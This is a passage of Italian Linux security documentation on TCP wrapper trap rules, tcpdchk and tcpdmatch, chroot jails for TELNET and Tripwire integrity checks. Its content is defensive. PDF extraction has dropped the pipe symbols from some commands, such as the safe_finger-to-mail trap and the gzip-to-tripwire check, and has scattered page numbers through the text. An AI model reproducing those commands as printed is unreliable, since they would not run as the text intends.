demone. %s Informazione completa del nodo servente per quanto disponibile. %u Il nome dell utente del nodo cliente o unknown. %% Un simbolo di percentuale singolo. Una direttiva può contenere il simbolo di due punti ( : ) all interno di certi campi. In tal caso, per evitare che questi si confondano con la separazione dei campi, occorre precedere tale simbolo con la barra obliqua inversa: \:. Una direttiva può essere interrotta e ripresa nella riga successiva se alla fine della riga appare una barra obliqua inversa, subito prima del codice di interruzione di riga. Ogni volta che si modifica uno di questi file, è indispensabile verificare che nel registro di sistema non appaiano indicazioni di errori di sintassi. Un problema tipico che si incontra è dovuto al fatto che ogni direttiva deve terminare con un codice di interruzione di riga. Se alla fine di una direttiva terminasse anche il file, questo costituirebbe un errore che ne impedirebbe il riconoscimento Demoni e clienti specificati in modo più preciso I primi due campi delle direttive di questi file, permettono di indicare con più precisione sia i demoni che i clienti che accedono. Quando il servente ha diversi indirizzi IP con cui può essere raggiunto, è possibile indicare nel primo campo un demone in combinazione con un indirizzo particolare dal quale proviene la richiesta. In pratica, il primo campo diventa un elenco di elementi del tipo seguente:

64 2048 TCP wrapper più in dettaglio Il demone può essere indicato per nome, oppure può essere messo al suo posto il jolly ALL che li rappresenta tutti. Il modello del servente serve a rappresentare questi indirizzi per nome o per numero. Valgono anche in questo caso le regole con cui si possono definire i nomi e gli indirizzi di clienti, anche per quanto riguarda le indicazioni parziali (un intero dominio o un gruppo di indirizzi). Più interessante è invece la possibilità di ottenere dal TCP wrapper la verifica del nominativoutente del processo avviato dal cliente per la connessione. Si veda per questo, quanto già descritto in precedenza al riguardo del protocollo IDENT. Basta utilizzare nel secondo campo la sintassi seguente: Utilizzando questa forma, tcpd, prima di concedere l accesso al servizio, interpella il cliente attraverso il protocollo IDENT, per ottenere il nome dell utente proprietario del processo che ha instaurato la connessione. Se il cliente non risponde a questo protocollo, si crea una pausa di ritardo di circa 10 s. Implicitamente si penalizzano tutti gli utenti che usano sistemi operativi diversi da Unix e derivati. Una volta ottenuta la risposta, o quando scade il tempo, può essere fatto il confronto con la direttiva. In ogni caso, questo tipo di direttiva fa sì che venga aggiunta questa informazione nel registro del sistema. Il modello dell utente può essere un nome puro e semplice, oppure un jolly: ALL, KNOWN e UNKNOWN. Il significato è intuitivo: tutti gli utenti; solo gli utenti conosciuti; solo gli utenti sconosciuti. Il modello del cliente è quello già visto in precedenza: nomi interi; nomi parziali che iniziano con un punto; indirizzi IP interi; indirizzi IP parziali che terminano con un punto; jolly vari. È bene ribadire che l informazione sull utente restituita dal protocollo IDENT, non è affidabile. Un sistema compromesso potrebbe essere stato modificato in modo da restituire informazioni false Comandi di shell Il terzo campo delle direttive di questi file, permette di inserire un comando di shell. Quando un accesso trova corrispondenza con una direttiva contenente un comando di shell, questo comando viene eseguito; mentre l accesso viene consentito se la corrispondenza avviene all interno del file /etc/hosts.allow. Il comando può contenere le variabili descritte nella tabella 186.1, che sono utili per dare un senso a questi comandi. Il comando viene eseguito utilizzando l interprete /bin/sh, connettendo standard input, standard output e standard error al dispositivo /dev/null. Generalmente, alla fine del comando viene indicato il simbolo &, in modo da metterlo sullo sfondo, per evitare di dover attendere la sua conclusione. Questi comandi non possono fare affidamento sulla variabile di ambiente PATH per l avvio degli eseguibili, per cui si usando generalmente percorsi assoluti, a meno che questa variabile sia inizializzata esplicitamente all interno del comando stesso.

65 TCP wrapper più in dettaglio Esempi e trappole Seguono alcuni esempi che dovrebbero chiarire meglio l uso delle direttive dei file /etc/ hosts.allow e /etc/hosts.deny. In tutti gli esempi mostrati si suppone che il file /etc/hosts.deny contenga solo la direttiva ALL:ALL, in modo da escludere ogni accesso che non sia stato previsto espressamente nel file /etc/hosts.allow. # /etc/hosts.allow # ALL : ALL@ALL Supponendo che questa sia l unica direttiva del file /etc/hosts.allow, si intende che vengono consentiti esplicitamente tutti gli accessi a tutti i servizi. Tuttavia, avendo utilizzato la forma ALL@ALL nel secondo campo, si attiva il controllo dell identità dell utente del cliente, ottenendone l annotazione del registro del sistema. # /etc/hosts.allow # ALL : KNOWN@ALL La direttiva combacia solo con accessi in cui gli utenti siano identificabili. # /etc/hosts.allow #... in.telnetd : ALL : ( /usr/sbin/safe_finger /bin/mail -s %d-%u@%h root ) & Si tratta di una trappola con cui l amministratore vuole essere avvisato di ogni tentativo di utilizzo del servizio TELNET. Il comando avvia safe_finger (una versione speciale di Finger che accompagna il TCP wrapper) in modo da conoscere tutti i dati possibili sugli utenti connessi alla macchina cliente, inviando il risultato al comando mail per spedirlo a root. Molto probabilmente, l amministratore che prepara questa trappola, farà in modo che il demone in.telnetd non sia disponibile, in modo tale che la connessione venga comunque rifiutata. Se fosse stato necessario utilizzare l altro tipo di formato per le direttive di questi file, l esempio appena mostrato sarebbe il seguente: si aggiunge la parola chiave spawn che identifica l opzione corrispondente. # /etc/hosts.allow #... in.telnetd : ALL : spawn ( /usr/sbin/safe_finger /bin/mail -s %d-%u@%h root ) & L esempio seguente mostra un tipo di trappola meno tempestivo, in cui ci si limita ad aggiungere un annotazione particolare nel registro del sistema per facilitare le ricerche successive attraverso grep. in.telnetd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.rshd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.rlogind : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.rexecd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & ipop2d : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & ipop3d : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & imapd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.fingerd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) & Se necessario occorre aggiungere la parola chiave spawn :

66 2050 TCP wrapper più in dettaglio in.telnetd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.rshd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.rlogind : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.rexecd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & ipop2d : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & ipop3d : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & imapd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & in.fingerd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) & Trattandosi di servizi che non si vogliono offrire (altrimenti non ci sarebbe ragione di registrare tanto bene gli accessi), anche in questo caso è opportuno che i demoni corrispondenti non ci siano, oppure che i rispettivi eseguibili siano sostituiti da una copia dello stesso programma tcpd. Si osservi in particolare che all interno del comando appare il simbolo di due punti protetto da una barra obliqua. Se non si facesse così, potrebbe essere interpretato come l inizio di un nuovo campo Comandi e servizi UDP I servizi UDP non si prestano tanto per la creazione di trappole, a causa del fatto che non si instaura una connessione come nel caso del protocollo TCP. Il caso più importante di questo problema è rappresentato dal servizio TFTP, che di solito, nel caso il supervisore dei servizi di rete sia Inetd, viene indicato nel file /etc/inetd.conf nel modo seguente: tftp dgram udp wait root /usr/sbin/tcpd in.tftpd Se si creasse una direttiva come quella seguente, # /etc/hosts.allow #... in.tftpd : ALL : ( /usr/sbin/safe_finger /bin/mail -s %d-%u@%h root ) & si rischierebbe di avviare il comando di shell un gran numero di volte. Si può limitare questo problema modificando la riga contenuta nel file /etc/inetd.conf nel modo seguente: tftp dgram udp wait.2 root /usr/sbin/tcpd in.tftpd In tal modo, si accetterebbero un massimo di due tentativi al minuto. In generale, dovendo realizzare delle trappole per servizi UDP, conviene eliminare del tutto il demone dal file system Verifica della configurazione tcpdchk 1 permette di controllare la configurazione del TCP wrapper, indicando problemi possibili ed eventualmente anche dei suggerimenti per la loro sistemazione. tcpdchk [opzioni] tcpdchk analizza i file /etc/inetd.conf, /etc/hosts.allow e /etc/hosts.deny. Tra i vari tipi di verifiche che vengono eseguite, ci sono anche i nomi utilizzati per i nodi e i domini NIS. In tal senso, per avere un controllo più preciso, è opportuno utilizzare tcpdchk anche quando il sistema viene collegato in rete, avendo accesso alla configurazione reale del DNS e del NIS. 1 TCP wrapper software libero con licenza speciale

67 TCP wrapper più in dettaglio 2051 Opzione Descrizione -d Esamina i file./hosts.allow e./hosts.deny, cioè quelli che si trovano nella directory corrente. -i file_inetd Specifica il file da utilizzare al posto di /etc/inetd.conf Verifica delle corrispondenze tcpdmatch 2 permette di verificare il comportamento della configurazione simulando delle richieste. In pratica, verifica il contenuto di /etc/inetd.conf, /etc/hosts.allow e /etc/hosts.deny, mostrando quello che succederebbe con una richiesta di connessione determinata. tcpdmatch [opzioni] demone[@servente] È obbligatoria l indicazione di un demone, con l eventuale aggiunta dell indicazione del servente quando si possono distinguere per questo degli indirizzi diversi; inoltre è obbligatoria l indicazione del cliente, con l eventuale aggiunta dell utente. Nell indicazione del servente si possono usare anche i jolly UNKNOWN e PARANOID ; il valore predefinito, se questa indicazione manca, è UNKNOWN. L utente può essere indicato per nome o per numero UID; anche in questo caso si ammette il jolly UNKNOWN, che è il valore predefinito in mancanza di questa indicazione. Opzione Descrizione -d Esamina i file./hosts.allow e./hosts.deny, cioè quelli che si trovano nella directory corrente. -i file_inetd Specifica il file da utilizzare al posto di /etc/inetd.conf. Segue la descrizione di alcuni esempi. # tcpdmatch in.telnetd localhost Verifica il comportamento della configurazione per una richiesta di accesso al servizio TELNET, corrispondente al demone in.telnetd, da parte del nodo localhost. # tcpdmatch in.telnetd [email protected] Verifica il comportamento della configurazione per una richiesta di accesso al servizio TELNET, corrispondente al demone in.telnetd, da parte dell utente tizio dal nodo roggen.brot.dg. # tcpdmatch [email protected] [email protected] Verifica il comportamento della configurazione per una richiesta di accesso al servizio TEL- NET, corrispondente al demone in.telnetd, proveniente dall interfaccia corrispondente al nome dinkel.brot.dg, da parte dell utente tizio dal nodo roggen.brot.dg. 2 TCP wrapper software libero con licenza speciale

68 2052 TCP wrapper più in dettaglio Un Finger speciale safe_finger 3 è un cliente Finger che, da quanto indicato nella documentazione originale, dovrebbe essere più adatto per la creazione di trappole attraverso i comandi di shell. Le sue funzionalità sono le stesse del comando finger normale e non viene indicato altro nella documentazione originale Verifica della propria identificazione try-from 4 permette di verificare il funzionamento del sistema di identificazione del servente e del cliente. Si utilizza nel modo seguente: rsh host /usr/sbin/try-from Di solito, questo programma si utilizza per verificare il proprio sistema. Per fare un esempio, si immagina di essere l utente caio che dal nodo dinkel.brot.dg si connette al suo stesso elaboratore per avviare try-from. $ rsh dinkel.brot.dg /usr/sbin/try-from[ Invio ] client address (%a): client hostname (%n): dinkel.brot.dg client username (%u): caio client info (%c): [email protected] server address (%A): server hostname (%N): dinkel.brot.dg server process (%d): try-from server info (%s): [email protected] Dal risultato che si ottiene, si può determinare che anche il servizio IDENT dell elaboratore dinkel.brot.dg (visto come cliente) funziona correttamente. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org 3 TCP wrapper software libero con licenza speciale 4 TCP wrapper software libero con licenza speciale

69 Cambiare directory radice Capitolo 187 I sistemi Unix, offrono generalmente una funzione che permette di fare funzionare un processo in un file system ridotto, in cui una certa directory diventa temporaneamente la sua nuova directory radice. Si tratta della funzione chroot(), che nel caso di sistemi GNU/Linux, può essere utilizzata solo da un processo con i privilegi dell utente root. Le distribuzioni GNU/Linux mettono normalmente a disposizione il programma chroot 1 che permette di utilizzare in pratica questa funzione. In alternativa, ne esiste un altra versione perfettamente funzionante con GNU/Linux (anche se non si trova nelle distribuzioni), che offre il vantaggio di fondere le funzionalità di chroot e di su ; si tratta di chrootuid di Wietse Venema Principio di funzionamento I programmi di servizio che si occupano di ridefinire la directory radice temporaneamente, per circoscrivere l ambiente di un processo determinato (e dei suoi discendenti), richiedono l indicazione della directory che diventerà la nuova directory radice e del programma da avviare al suo interno. Il processo da avviare in questo ambiente deve trovare lì tutto quello che gli può servire, per esempio le librerie, o altri programmi se il suo scopo è quello di avviare altri sottoprocessi. È la stessa situazione che si verifica quando si predispone la directory ~ftp/ per l accesso al servizio FTP anonimo. A titolo di esercizio, può essere preparata una directory del genere riproducendo /bin/, /sbin/, /lib/ e /etc/. # mkdir /tmp/nuova_root # cp -dpr /bin /sbin /lib /etc /tmp/nuova_root Con quanto preparato in questo modo, si può avviare una shell circoscritta all ambito della directory /tmp/nuova_root/, che viene fatta diventare appunto la nuova directory radice. # chroot /tmp/nuova_root /bin/bash Con questo comando, si fa in modo che venga utilizzata la funzione chroot() perché /tmp/ nuova_root/ diventi la directory radice per il processo avviato con /bin/bash. È importante comprendere che /bin/bash va inteso qui come parte del sotto-file system e si tratta in generale si /tmp/nuova_root/bin/bash. Per concludere l esempio, una volta verificato che si sta lavorando effettivamente in un ambiente ristretto, basta fare terminare il processo per cui è stata cambiata la directory radice, cioè bash. # exit Possibilità di questo meccanismo La definizione di un sotto-file system, permette di isolare il funzionamento di un programma che potrebbe costituire un pericolo di qualche tipo. Per esempio un servizio di rete che si teme possa consentire un qualche accesso non autorizzato. 1 GNU shell programming utilities GNU GPL 2053

70 2054 Cambiare directory radice Si potrebbe immaginare la possibilità di creare delle utenze in cui gli utenti non possano girovagare nel file system, limitandoli all ambito di un sotto-file system appunto. Tuttavia, dal momento che un sistema GNU/Linux non permette l utilizzo della funzione chroot() agli utenti comuni, di fatto non è possibile, almeno con i mezzi normali Utilizzo di chroot chroot 2 permette all utente root di eseguire un comando utilizzando una directory particolare come una nuova directory radice. Il comando, deve essere indicato tenendo conto della situazione che ci si trova di fronte dopo che il cambiamento della directory radice è avvenuto. chroot directory [comando] Se non viene indicato alcun comando, viene eseguito /bin/sh, nel sotto-file system a cui ci si riferisce. Al termine del funzionamento del processo avviato con il comando, si ritorna allo stato precedente, con il file system nelle condizioni in cui si trovava prima Utilizzo di chrootuid chrootuid 3 è un programma simile a chroot, in cui però è possibile indicare l utente proprietario del processo che viene avviato nella nuova directory radice. chrootuid directory utente comando chrootuid non fa parte delle distribuzioni GNU/Linux standard, ma può essere ottenuto facilmente dalla sua origine, presso l università di Eindhoven in Olanda, <ftp://ftp.porcupine.org/pub/ security/chrootuid1.3.tar.gz> Un esempio pratico: TELNET In questa sezione si vuole mostrare in che modo potrebbero essere create delle utenze per l accesso remoto attraverso TELNET, in modo da escludere che gli utenti possano accedere a parti vitali del sistema. L esempio viene indicato solo in linea di massima, trascurando dettagli che devono poi essere definiti da chi volesse utilizzare tale sistema realmente e in modo serio. Per semplificare le cose, si può creare una copia del sistema in funzione, a partire da una sottodirectory (ammesso che ci sia abbastanza spazio disponibile nel disco fisso). Si suppone di farlo nella directory /sicura/. # mkdir /sicura # cp -dpr /bin /dev /etc /home /lib /opt /root /sbin /usr /var /sicura # mkdir /sicura/tmp # chmod 1777 /sicura/tmp # mkdir /sicura/proc # chmod 0555 /sicura/proc 2 GNU shell programming utilities GNU GPL 3 chrootuid software libero con licenza speciale

71 Cambiare directory radice 2055 Quindi si «entra» in questo sistema e si fa un po di pulizia, eliminando in particolare tutto quello che nella directory etc/ non serve. Infatti, si deve considerare che in questo piccolo ambiente non esiste una procedura di inizializzazione del sistema, non esiste l avvio di programmi demone e non si configura la rete. L unica attenzione deve essere data alla configurazione delle shell che si vogliono poter utilizzare. # chroot /sicura... # exit Il sistema circoscritto appena creato, può avere delle difficoltà a funzionare in un sistema GNU/Linux, a causa della mancanza del contenuto della directory proc/ che dovrebbe essere montato anche lì. Questo inserimento può essere definito convenientemente una volta per tutte nel file /etc/fstab del file system normale, avendo così due punti di innesto diversi e simultanei. # /etc/fstab #... none /proc proc defaults 0 0 none /sicura/proc proc defaults 0 0 #... Si potrebbe valutare la possibilità di non lasciare l accessibilità alle informazioni di questa directory. Si può provare a vedere se le attività che si vogliono concedere agli utenti sono compromesse dalla sua mancanza. Se il disagio è tollerabile, è meglio evitare di montare la directory /proc/ quando tutto è pronto. Una volta sistemato questo particolare, tutto funziona meglio nel sistema che si articola dalla directory /sicura/. Per fare in modo che il servizio TELNET utilizzi questo spazio riservato, si deve modificare il file di configurazione del supervisore dei servizi di rete del file system normale; per esempio, nel caso di Inetd, il file /etc/inetd.conf va modificato in un modo simile a quello seguente: telnet stream tcp nowait root /usr/sbin/tcpd /sicura/telnetd Come si vede, per l avvio del servizio è stato indicato l eseguibile /sicura/telnetd, che in pratica è uno script di shell che contiene la chiamata del comando chroot, prima dell avvio del vero demone in.telnetd. #! /bin/sh chroot /sicura /usr/sbin/in.telnetd In questo caso, quanto indicato come /usr/sbin/in.telnetd, è in realtà /sicura/usr/ sbin/in.telnetd. Una volta definito questo, dopo aver montato anche la directory /sicura/proc/ e dopo aver riavviato il supervisore dei servizi di rete, si può accedere con un cliente TELNET nel proprio sistema locare come utente root, per sistemare le cose (per farlo, temporaneamente, occorre che il file /sicura/etc/securetty preveda anche i dispositivi /dev/ttyp *, oppure quelli che sono utilizzati effettivamente per l accesso attraverso TELNET). Una volta sistemate le cose come si desidera, si dovrà avere cura di impedire l accesso remoto da parte dell utente root, tenendo conto che al limite questo utente potrebbe anche essere cancellato all interno di /sicura/etc/passwd

72 2056 Cambiare directory radice # telnet localhost... Una volta entrati nel mini sistema, dopo essersi accertati che funziona (basta creare un file e su un altra console virtuale vedere che si trova collocato a partire dalla directory /sicura/ ), si comincia a disinstallare tutto quello che non serve e che non si vuole lasciare usare agli utenti. Probabilmente, tutto quello che riguarda la configurazione della rete dovrebbe essere eliminato, mentre qualche cliente particolare potrebbe essere lasciato a disposizione degli utenti. Anche la directory dev/ dovrebbe essere controllata, lasciando al suo interno solo i dispositivi indispensabili. Di certo non servono i dispositivi che permettono l accesso a unità di memorizzazione: gli utenti remoti non devono avere la possibilità di montare o smontare dischi. Gli stessi file etc/passwd e etc/group (ed eventualmente etc/shadow ) possono essere modificati per eliminare tutti gli utenti di sistema, compreso root che potrebbe essere aggiunto nel momento in cui si volesse fare qualche intervento dall interno). In pratica, si tratterebbe di lasciare solo gli utenti del servizio TELNET. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

73 Verifica dell integrità dei file Capitolo 188 Attraverso l accumulo di codici di controllo è possibile verificare l integrità di file e di directory, contro l uso improprio del sistema, comprendendo eventualmente l azione di un virus Tripwire Tripwire 1 è un programma per la verifica dell integrità dei file attraverso il confronto con le informazioni accumulate precedentemente. Vengono segnalate le aggiunte, le rimozioni e le alterazioni di file e directory. Tripwire utilizza un file di configurazione (collocato in una directory da definire), che qui verrà indicato come tw.config, in modo da seguire la convenzione della documentazione interna di Tripwire. Come si può intuire, una volta generato il file con le informazioni della situazione attuale del file system, è necessario proteggerlo dalle alterazioni, collocandolo in un file system in sola lettura (come potrebbe essere un dischetto, dove la protezione dalla scrittura viene fatta con un azione manuale e non può essere modificata elettronicamente). Meglio sarebbe se potesse essere anche nascosto in qualche modo. Nello stesso modo, se possibile, sarebbe opportuno nascondere il file di configurazione. Tripwire non è un pacchetto che si possa trovare in tutte le distribuzioni GNU. È decisamente improbabile che possa trovarsi all interno delle distribuzioni di origine USA. Tuttavia, data la particolarità del programma, non è molto importante disporre di un pacchetto specifico per la propria distribuzione; l eseguibile tripwire e il file di configurazione andranno collocati da qualche parte, in modo da non essere individuati facilmente Configurazione di Tripwire Per comprendere il funzionamento di Tripwire, è più conveniente vedere prima la sua configurazione attraverso il file tw.config (o qualunque altro nome si decida di utilizzare). Lo scopo di questo è di elencare i file e le directory che si vogliono tenere sotto controllo, indicando quali dettagli considerare su questi elementi. Nel file di configurazione possono essere usate anche direttive di pre-elaborazione, per selezionare elenchi differenti in presenza di situazioni determinate. In questa sezione viene ignorata tale particolarità; eventualmente si può consultare la pagina di manuale tw.config(5). Il formato delle direttive attraverso cui si dichiara l inclusione o l esclusione di un file o di una directory, è quello seguente. In particolare, i commenti sono preceduti dal simbolo # e conclusi dal codice di interruzione di riga; inoltre le righe bianche e quelle vuote sono ignorate. [! =]voce [parametro_riassuntivo][+parametri_di_selezione -parametri_di_selezione] Dal momento che si tratta di qualcosa di insolito rispetto alle direttive che si possono incontrare nei file di configurazione di altri programmi, conviene vedere subito un paio di esempi, senza descriverli. # Include la directory / / +pinugsm12-ac # Esclude la directory /tmp/!/tmp 1 Tripwire software non libero: non è consentita la commercializzazione a scopo di lucro 2057

74 2058 Verifica dell integrità dei file Il simbolo iniziale, facoltativo, serve a:

75 Verifica dell integrità dei file 2059! escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansione e dalla verifica; = escludere il contenuto di una directory dalla scansione e dalla verifica. Se non viene indicato alcuno di questi due simboli, si intende verificare il file, o la directory e tutto il suo contenuto in modo ricorsivo. I parametri di selezione sono dei simboli rappresentati attraverso una singola lettera alfabetica minuscola, o una singola cifra numerica. Ognuno di questi simboli rappresenta l utilizzo o meno di un analisi particolare sull oggetto da verificare: i simboli sono preceduti dal segno +, o dal segno -, a seconda che si voglia includere o escludere quell analisi particolare. Solitamente vengono posti inizialmente i simboli da includere, tutti assieme, dopo un segno +, quindi quelli da escludere, dopo un solo segno -, come nel caso di +pinugsm12-ac La tabella elenca questi simboli. Tabella Elenco dei parametri di selezione. Simbolo Descrizione p Verifica dei bit dei permessi. i Verifica del numero di inode. n Numero di collegamenti fisici. u Utente proprietario. g Gruppo proprietario. s Dimensione. > Incremento di dimensione. a Data-orario dell ultimo accesso. m Data-orario dell ultima modifica. c Data-orario della creazione o modifica dell inode. 0 Firma nulla. 1 MD5, RSA Data Security, Inc. Message Digesting Algorithm. 2 Snefru, Xerox Secure Hash Function. 3 CRC-32, POSIX CRC-16 5 MD4, RSA Data Security, Inc. Message Digesting Algorithm. 6 MD2, RSA Data Security, Inc. Message Digesting Algorithm. 7 SHA, NIST Secure Hash Algorithm (NIST FIPS 180). 8 Haval (128-bit). 9 Firma nulla (riservato per uso futuro). I parametri di selezione riassuntivi, sono identificati attraverso una sola lettera maiuscola, senza essere preceduti dal segno + o -. Possono essere usati da soli, o al massimo seguiti da una serie di parametri di selezione che ne modificano l effetto. La tabella elenca questi simboli. Tabella Elenco dei parametri di selezione riassuntivi. Simbolo Descrizione R Sola lettura ( +pinugsm12-ac ), predefinito. L File delle registrazioni ( +pinug-samc ). N Verifica tutto ( +pinugsamc ). E Ignora tutto ( -pinugsamc ). > Incremento monotonico ( +pinug>-samc ). Segue la descrizione di alcuni esempi.

76 2060 Verifica dell integrità dei file /etc +pinugsm12-ac Verifica la directory /etc/ e tutto il suo contenuto in modo ricorsivo, verificando: i bit dei permessi, i numeri di inode, i riferimenti agli inode, i numeri UID e GID, le date di modifica, la firma in base al tipo MD5 e Snefru. Viene ignorata la data di accesso, la data di creazione o modifica dell inode e tutti gli altri tipi di firma. /etc R Esattamente come nell esempio precedente, dal momento che il parametro riassuntivo R rappresenta le stesse cose. /etc Esattamente come nell esempio precedente, dal momento che il parametro riassuntivo R è quello predefinito. /home/pippo E+ug Verifica esclusivamente la proprietà dei file (utente e gruppo), come eccezione del parametro riassuntivo E, che da solo escluderebbe tutti i controlli. /home/pippo E Esclude tutti i controlli, ma continua a verificare l aggiunta o la cancellazione di file.!/home/pippo Esclude qualunque verifica, ignorando anche l aggiunta o la cancellazione di file. =/tmp Verifica esclusivamente la directory /tmp/, senza analizzarne il contenuto Avvio del programma tripwire è l eseguibile che svolge il compito di scansione e verifica dell integrità dei file e delle directory specificati nel file di configurazione. tripwire [opzioni] Si distinguono tre situazioni: la creazione del file contenente le informazioni sulla situazione attuale di ciò che si vuole tenere sotto controllo; l aggiornamento di queste informazioni in presenza di modifiche volontarie da parte dell amministratore; la verifica di integrità, cioè il confronto di queste informazioni con la situazione attuale. A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e il nome del file di configurazione e del file di registrazione delle informazioni. In generale, conviene utilizzare le opzioni necessarie a specificare tali file. Segue la descrizione di alcune opzioni; se non vengono utilizzate le opzioni -initialize e -update, tripwire si mette automaticamente a verificare l integrità dei file secondo le informazioni accumulate in precedenza. Opzione -initialize -update percorso_assoluto -interactive Descrizione Genera il file delle informazioni da conservare, in base alle specifiche della configurazione. Aggiorna le informazioni già esistenti per quanto riguarda la directory o il file indicato come argomento. Inizia la verifica dell integrità dei file secondo le informazioni accumulate in precedenza e chiede all utente la conferma o meno della modifica di queste in modo conforme alla nuova situazione trovata.

77 Verifica dell integrità dei file 2061 Opzione -loosedir -d file -c file_di_configurazione -v Descrizione Può essere utilizzato in fase di verifica per annullare il controllo delle directory, pur mantenendo il controllo del loro contenuto, se questo è indicato nella configurazione. Ciò serve per ridurre la quantità di segnalazioni che si presentano, quando questo può generare solo confusione. In generale, il rischio di perdere informazioni importanti aumenta, ma alle volte l eccesso può essere dannoso. In fase di verifica dell integrità dei dati, permette di specificare il file contenente le informazioni raccolte in precedenza. Si può utilizzare un trattino singolo - per fare riferimento allo standard input. Permette di specificare il file di configurazione, sia in fase di generazione e aggiornamento delle informazioni da conservare, sia in fase di verifica. Si può utilizzare un trattino singolo - per fare riferimento allo standard input. Emette l elenco dei nomi di file nel momento in cui avviene la scansione. Segue la descrizione di alcuni esempi. # tripwire -initialize -c /root/tw.config Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base alla compilazione dei sorgenti, collocandolo probabilmente nella directory./databases/ (cioè a partire dalla directory corrente nel momento dell avvio del programma). Il file di configurazione utilizzato è /root/tw.config. # tripwire -update /etc -c /root/tw.config Aggiorna il file di raccolta delle informazioni (si fa sempre riferimento al nome predefinito in base alla compilazione dei sorgenti, collocato probabilmente nella directory./ databases/ ) per le variazioni fatte nella directory /etc/. Il file di configurazione utilizzato è /root/tw.config. # tripwire -interactive -c /root/tw.config -d /root/tw.db Esegue una verifica di integrità interattiva, utilizzando il file di configurazione /root/ tw.config e il file /root/tw.db per il confronto rispetto alla situazione attuale. # tripwire -interactive -c /root/tw.config -d - < /mnt/floppy/tw.db Esegue una verifica di integrità interattiva, utilizzando il file di configurazione /root/ tw.config e il file /mnt/floppy/tw.db (che probabilmente si trova in un dischetto protetto contro la scrittura) per il confronto rispetto alla situazione attuale Configurazione e utilizzo in pratica Per poter usare Tripwire in modo utile, la prima cosa da fare è studiare la sua configurazione, tenendo conto delle peculiarità del file system. Volendo un controllo generalizzato, bisogna però tenere conto delle aree in cui i dati cambiano continuamente per motivi fisiologici. Quello che segue è un esempio, un po approssimativo, di una configurazione funzionante, anche se un po blanda.

78 2062 Verifica dell integrità dei file # Include il controllo di tutto il file system. / +pinugsm14-ac # Esclude i file di dispositivo!/dev # Esclude alcuni file dinamici nella directory /etc/.!/etc/issue!/etc/issue.net!/etc/ioctl.save!/etc/mtab!/etc/ntp.drift!/etc/ld.so.cache!/etc/snmpd.agentinfo!/etc/ssh_random_seed!/etc/mail/sendmail.st # Esclude le directory personali.!/home # Esclude i file riferiti ai moduli che vengono aggiornati a ogni # avvio del sistema.!/lib/modules/preferred!/lib/modules/ /modules.dep # Esclude la directory /proc/.!/proc # Esclude la directory /root/, ma poi aggiunge qualcosa che è # comunque opportuno controllare.!/root /root/bin /root/.ssh # Esclude la directory temporanea.!/tmp # Esclude i file whatis.!/usr/x11r6/man/whatis!/usr/lib/perl5/man/whatis!/usr/local/man/whatis!/usr/man/whatis # Esclude la directory /var/.!/var Di sicuro, si potrebbe fare meglio, studiando in modo più dettagliato ogni directory e file del file system da controllare. Quando si utilizza Tripwire per difendersi da una possibile intrusione nel sistema, è necessario nascondere il file di configurazione, anche se non sempre è facile farlo. Di certo, un modo è quello di conservarlo in un dischetto. Anche il file di registrazione delle informazioni dovrebbe essere archiviato in un posto sicuro e inaccessibile agli «intrusi»; anche in questo caso, il dischetto è l unica possibilità concreta che hanno tutti. A titolo di esempio si suppone di avere collocato l eseguibile tripwire e il file di configurazione tw.config nella directory /root/adm/tripwire/. # cd /root/adm/tripwire[ Invio ] #./tripwire -initialize -c./tw.config[ Invio ] ### Phase 1: Reading configuration file ### Phase 2: Generating file list

79 Verifica dell integrità dei file 2063 ### Phase 3: Creating file information database ### ### Warning: Database file placed in./databases/tw.db_dinkel.brot.dg. ### ### Make sure to move this file and the configuration ### to secure media! ### ### (Tripwire expects to find it in /var/adm/tripwire/db.) Come si può osservare dal messaggio che si ottiene, è stato creato il file./databases/ tw.db_dinkel.brot.dg contenente le informazioni raccolte, dove la parte finale del nome del file, «dinkel.brot.dg» è il nome del nodo. Nel messaggio stesso, viene ricordato di spostare sia il file di configurazione che il file di registrazione delle informazioni (viene chiamato database) in un unità «sicura». Per esempio, si potrebbe comprimere questo file per poterlo contenere in un dischetto, come nell esempio seguente: # gzip./databases/tw.db_dinkel.brot.dg[ Invio ] # mount /mnt/floppy[ Invio ] # cp./databases/tw.db_dinkel.brot.dg.gz /mnt/floppy[ Invio ] # rm./databases/tw.db_dinkel.brot.dg.gz[ Invio ] # cp./tw.config /mnt/floppy[ Invio ] # rm./tw.config[ Invio ] # umount /mnt/floppy[ Invio ] L esempio è soltanto esplicativo. Il dischetto non è un supporto tecnicamente affidabile, di conseguenza occorre conservare in qualche modo migliore almeno il file di configurazione. Nel momento del controllo, si può rimontare il dischetto ed eseguire una scansione di controllo. # mount /mnt/floppy[ Invio ] # gzip -d < /mnt/floppy/tw.db_dinkel.brot.dg.gz tripwire -c /mnt/floppy/tw.config -d -[ Invio ] ### Phase 1: Reading configuration file ### Phase 2: Generating file list ### Phase 3: Creating file information database ### Phase 4: Searching for inconsistencies ### ### Total files scanned: ### Files added: 0 ### Files deleted: 0 ### Files changed: ### ### After applying rules: ### Changes discarded: ### Changes remaining: 2 ### changed: drwxr-xr-x root 3072 Sep 29 12:17: /etc changed: -rw-r--r-- root 62 Sep 29 12:17: /etc/exports ### Phase 5: Generating observed/expected pairs for changed files ### 